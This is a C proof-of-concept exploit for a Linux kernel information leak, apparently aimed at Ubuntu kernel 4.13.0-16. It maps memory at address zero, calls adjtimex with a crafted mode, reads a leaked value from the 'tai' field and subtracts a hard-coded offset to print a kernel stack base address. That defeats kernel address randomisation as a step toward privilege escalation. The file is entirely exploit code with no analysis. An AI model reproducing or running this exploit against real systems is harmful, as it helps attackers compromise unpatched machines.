#define _GNU_SOURCE
#define _BSD_SOURCE
#include <sys/timex.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <kptr-lib.h>

// Ubuntu 4.13.0-16-generic
// gcc -o poc poc.c -m32

struct timex time;

int main(int argc, char **argv)
{
  int r;
  unsigned long long stack_offset, kernel_base;
  unsigned int leak_value;
  unsigned int high = 0xffffffff;
  
  memset(&time, 0, sizeof(time));
  time.modes = 0x8000;

  mmap(0,0xa000,3,2022,-1,0);

  adjtimex(&time);    
  leak_value = time.tai;
  printf("--> leak_value : %x\n", leak_value);
  
  memcpy(&kernel_base, &leak_value, 4);
  memcpy((char *)&kernel_base + 4, &high, 4);
  stack_offset = 0x1fc4a4;
  kernel_base = leak_value - stack_offset;
  printf("--> kernel_stack_base : %llx\n", kernel_base);

   return 0;
}